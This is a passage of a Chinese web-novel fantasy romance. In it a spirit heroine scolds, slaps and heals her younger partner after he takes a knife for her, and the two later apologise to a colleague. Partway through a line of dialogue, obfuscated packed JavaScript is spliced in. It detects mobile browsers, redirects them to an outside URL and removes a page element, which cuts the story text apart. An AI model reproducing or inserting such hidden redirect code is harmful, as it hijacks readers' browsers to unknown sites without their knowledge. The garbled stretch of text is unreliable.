25.
显而易见,茗昀就是皆逆荒。
……我就说吧,我之前就感觉她讲话很奇怪!
尽管我勒令皆逆荒不要偷偷跟过来,但他还是跑过来了。这家伙难得聪明了一回,他知道我肯定有所防备,所以不能变成其他的执行者跟过来,于是干脆变成了我。为了救灾,两边都忙得昏天黑地的,“我”忽然出现,一时间没人反应过来不对。
之后,皆逆荒将茗昀支去了离我最远的地方,扮成人家混到了我身边,默默地陪着我。
然后他先是被我说“只是想到如果我对男朋友提分手,他会是什么反应”给吓了一跳,又因为我一直在忙碌而心疼不已,因此撺掇晓月让我去休息。
再之后,因为想让我尽快去休息,他不希望我多管闲事,又由于我管闲事时的身手太好,他插不上手,所以只能远远看着。
直到他发现那个车里的女性趁我没注意时偷偷下车,察觉到不对的他连忙冲了过去。
“我当时就意识到他们是同伙了!”皆逆荒说。他不是很能吃痛的类型,因为受伤,他说话的时候表情痛得龇牙咧嘴的,语气却充满骄傲。
我冷着脸,将手按在他的腹部为他治疗。
“是吗?那你真是长本事了。”
“……”
大概是发现我真的很生气,皆逆荒耷拉着脑袋闭嘴了。
……呵,脑袋,真是个榆木脑袋!
首先,他发现不对之后就不能喊出来吗?是他的嘴是摆设,还是我的耳朵是摆设?
其次,在那个女人捅到我之前,我的风刃就会割断那柄刀,甚至是她的手。
最后,退一万步讲,就算我挨一刀又怎么样?我和他能一样吗?
就像打游戏那样,假设捅刀的伤害是30,生命值1000的我和100的他受到伤害后的情况完全不一样!他至于用自己的身体去挡刀吗?耐打就能随便挨打了是吧?
“可是!这不是游戏!”皆逆荒突然抬头,大声说道,好像突然硬气了起来一样,“无论伤害是多少,你都真的会受伤。而且,而且——”
“……”
真是个笨蛋。
笨蛋仰着头看我,表情很倔强,眼底带着点泪光。
“而且我不就只有耐打这一个优点吗!”
我收回为他治疗的手,然后抬起手臂。
“啪——”
我照着他的脸就是一巴掌。
皆逆荒:?!
26.
皆逆荒被我打懵了,他眨巴着眼睛看我,眼泪委屈地掉了下来,好像很不理解我为什么打他,又好像有点理解。
“知道我为什么打你吗?”我说。
“……因为我,自不量力。”他低声说,“我不应该不听你的话跟过来,更不应该擅自行动,给你添麻烦。”
“啪——”
我又给了他一耳光,刚好左右对称。
“怎么还打我!!我也是会伤心的!”皆逆荒跳了起来,他的伤口已经完全被我治愈了,声音又伤心又急切。
他说我根本不知道我刚才有多么吓人,如果不是他及时阻止了我,我肯定会被总会馆处分,说不定还要被关起来,那他就见不到我了。
我用力地捏住他的脸,凶狠地看着他:“你猜你为什么能阻止我?”
皆逆荒呆住了。
“因为,因为,”由于脸被捏住,他说话有些含糊不清,“泥是一个成书的妖精……”
我确实是一个成熟的妖精,知道自己不能过于任性。
“还有呢?”我问。
皆逆荒眨眨眼。
“……因为,泥爱窝?”
哼,真亏他还知道。
那么,谁愿意听到爱人自己贬低自己呢?
居然敢说他只有耐打这一个优点,真是好大的胆子!再让我听到他这样说他自己,我就还打他,听到了吗?
皆逆荒眨眨眼。
“那泥为森么打窝第二下……”
因为他说他自不量力。
我是不需要他为我挡刀,但他这么做是因为他在乎我,他爱我。“爱”怎么能说是自不量力呢?爱是平等的。
教育完皆逆荒,我松开手,他却急急地把脸凑上去,垂下来的刘海跟脸颊一切服帖地贴着我的掌心。我顺手给他把脸上的巴掌印治愈了,皆逆荒却说不对不对。
……什么不对?
“你这样打过你的前男友吗?”他问。
这倒是没有,他们都没有皆逆荒这么气人。
“对了对了!”皆逆荒高兴地说道,他的眼睛因为哭过而红红的,此刻也噙着眼泪,眼眸却格外亮,“爱是不平等的。”
我疑惑地看着他。
Jenny这是要跟我探讨哲学?这对吗,他懂哲学?
“我是说,你更偏心我!”皆逆荒说。
因为他比他们多挨了两巴掌?
不是,这家伙别真是抖M吧,我别给他打爽了……
不同于我的心情复杂,皆逆荒看起来很雀跃,像是即将出去春游的小朋友。他说比起我的前男友,我更在乎他,我对他的爱更多(这是实话)——我甚至冲冠一怒为Jenny!
呃,不,先不说他又从言情小说里学了什么乱七八糟的,主要我的前男友们都挺能打的,不至于让我出来护着……
然而哲学家Jenny说,两只妖精在一起,难免有一方付出的更多一些。以往他总觉得比起我爱他,他更爱我,现在看来,我比他想象中要爱他一些。
唔,这就是他说的“爱是不平等”的吗?可这样还是他吃亏吧?
“不,就得是这样。”皆逆荒说,语气很理直气壮,“我以前都不认识你,所以我应该爱你更多一些。我要爱你的过去,把那几百年的爱都加起来爱你。”
“……”
好吧,其实年下还蛮可爱的。
我叹了口气,亲亲他的脸颊:“刚才打疼了吗?”
“没事。”他满不在乎地说道,“反正我耐打——诶,等等,我错了我不该这么说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138079|180338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疼疼疼,不要掐我!”
26.
救援工作结束后,我押着皆逆荒找到真正的茗昀道歉。
“对不起,我不应该支开你,也不应该冒充你。”皆逆荒老老实实地弯腰,对比他矮很多的女孩道歉。
“没关系,你也是关心则乱嘛。”茗昀好脾气地说道,转头看向我,“我可是都听说啦,您为了恋人冲冠一怒,场面非常壮观呢!”
“……哈哈,辛苦你们帮忙善后了。”我有些不好意思地说。
当时我发火的模样直接把那几个坏人都吓晕了,有一个醒来后直接疯疯癫癫的。那个女学生也失神了好久,需要进行记忆消除。
还好有分会馆这边的同事帮忙,他们不仅帮我把坏人们移交给了警察,还救出了他们绑架的其他女孩,她们还没来得及被转移,真是万幸。
见皆逆荒还在朝人家鞠躬,我趁机揉了一把皆逆荒的头发:“好了,小荒,快跟人家道别,咱们要回去了。”
皆逆荒照做。
茗昀露出欲言又止的神情。
我大概知道她在想什么,她肯定是觉得我说话的语气很像在拉着小朋友或者小狗与熟人道别。嗯,但这也没什么问题,我是说,皆逆荒二者都是。
“咱们要去粤东会馆吃饭吗?”皆逆荒问我。
“先回家吧,还有事情要处理。”我说。
“懂了,你要写报告是吗?”他恍然道。
我“嗯”了一声。
除了工作报告,我还得写反省。虽然我当时及时收住了灵力,但那一瞬间的异样还是被不少人察觉到了,成了当地的都市传说,就算可以用地震产生的影响糊弄过去(地震会产生飓风吗?呃,总之辛苦那边的同事了),可我也得拿出反省的态度。
皆逆荒听了很是愤愤不平,他觉得明明就是那些人该死,为什么我还得写反省?
其实我也觉得他们该死,不过我也不是真的反省了,这只是一个书面交代而已。
“Jenny,这就是大人的世界呀。”我挠挠他的掌心,小声地跟他嘀嘀咕咕,“做成熟的妖精就是这么麻烦。”
皆逆荒反手握住我,将脑袋靠在我肩膀上。
“人类真讨厌。”他说。
“但你现在坐可是人家的列车哦?”我提醒他。
皆逆荒哼了一声。
我把他从我的肩膀上薅起来,目光落在他的脖颈上。可能是他之前说要咬我脖子的缘故,导致我不知不觉中也对这个部位在意了起来。
皆逆荒最近爱穿连体工装,里面内搭无袖背心,但不论他怎么穿,他都会露着脖子,此男不是高领党。
“怎么了?”他疑惑道。
“好像没见过你戴项链吊坠什么的。”我说,他平时喜欢戴的饰品只有那枚耳环。
“唔,你送我我就戴。”皆逆荒说。
我忍不住笑了一下,这家伙,连在这种时候都不忘表忠心。
“这可是你说的。”我笑眯眯地看着他。
皆逆荒:?